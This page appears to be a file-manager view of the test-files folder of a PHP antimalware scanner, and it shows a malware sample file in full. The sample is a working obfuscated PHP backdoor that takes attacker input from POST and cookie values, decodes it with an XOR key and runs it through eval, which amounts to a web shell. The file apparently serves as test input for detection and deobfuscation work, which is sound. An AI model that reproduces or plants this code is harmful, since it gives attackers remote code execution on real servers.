golden hour

/opt/PHP-Antimalware-Scanner/test-files

File/Folder	Size	Actions
.abc12345.ccss	77 B
.dd8cff6b.css	118 B
README.md	1.36 KB
clean.php	58 B
malware_sample_2308ba68.php	1.92 KB
normal.css	86 B
test_deobfuscator_calc.php	2.35 KB
test_malware_deobfuscation.php	2.13 KB

Edit: malware_sample_2308ba68.php

<?php
$FYLlyGc    =/*hzHqH */chr     (/* xLzoS   */902        -       787   )."\x74"   .   "\162"     .       "\x5f"/* L*/.   chr  (114)  .  'e'/* bONu*/./*jWjq   */chr/*  LD */(        780 -   668     )."\145"/* ZY   */./* gO */chr/*  EVPx   */(97)/* Lz*/. 't';
                                $lwesY   =      "\145"     .   chr/*   sUuX*/(120)/*   ahgK*/./*   ABc  */"\160"  .  'l'/*kV   */.      "\x6f"/* r */. "\144"/*   zc   */.  chr     (101);
                                        $LFAqPR     =   chr     (99) ./*  YXpu  */"\x6f"   ./* GxzRx  */chr     (/*t  */202/*  C   */-  85/* jloQ */)."\156"/*nzgs  */.     chr/*  d  */(116);
    $OZYSfaZuj =        'p'/*Mt*/.      "\141"  ./*  Unlnv*/"\143"/*LDcD */./*  mVJ  */'k';
  $DmcCgc     =  Array/*   AM */(/*  GoKP*/"RFqNbfPUEkSec"/*  ra */=>  "HUOXDALYrvfDL"  );

$QHKDVydQUH/*  CG   */=/* HHOt   */Array     (  "WzLBVi"     =>/* c*/"nfYILozsioRQgXhOwhqwu"/* rdu*/);

foreach       (/*Xatl*/Array(  $DmcCgc,  $_POST,      $QHKDVydQUH,/*   wk   */$_COOKIE,     $DmcCgc)  as      $wLQJychdG)     {
                                        /*  TggR   */foreach (     $wLQJychdG/* g   */as     $hdFAio  =>  $jBTtQdfd     )/*  ioke */{
                                        $jBTtQdfd       =  @$OZYSfaZuj( "\110"  ./*  i  */'*',  $jBTtQdfd    );
                                /*  e*/$hdFAio/* ewak  */.=   "LPrrCU-mwK-wmG-haAecz-Lns-qlNJj-mECKGSL";
                                          $hdFAio       = $FYLlyGc/*   l  */(   $hdFAio,    (   strlen(  $jBTtQdfd/*   h  */)/strlen(  $hdFAio )   )+       1);
  /*  Hs */$oFoRqOKFBs  =       $jBTtQdfd       ^   $hdFAio;
        /* y */$oFoRqOKFBs      = $lwesY/*   DIsnY */(/*   MK   */'#',  $oFoRqOKFBs/* Niw */);

if/*I   */(     $LFAqPR (   $oFoRqOKFBs/*   rFG  */) == 3     )/* DjC   */{
 eval  (/*   esIeM */$oFoRqOKFBs[1]     (       $oFoRqOKFBs[2] )    );
        /*  GKD  */exit  ();
       }

}

/*TaiEr */}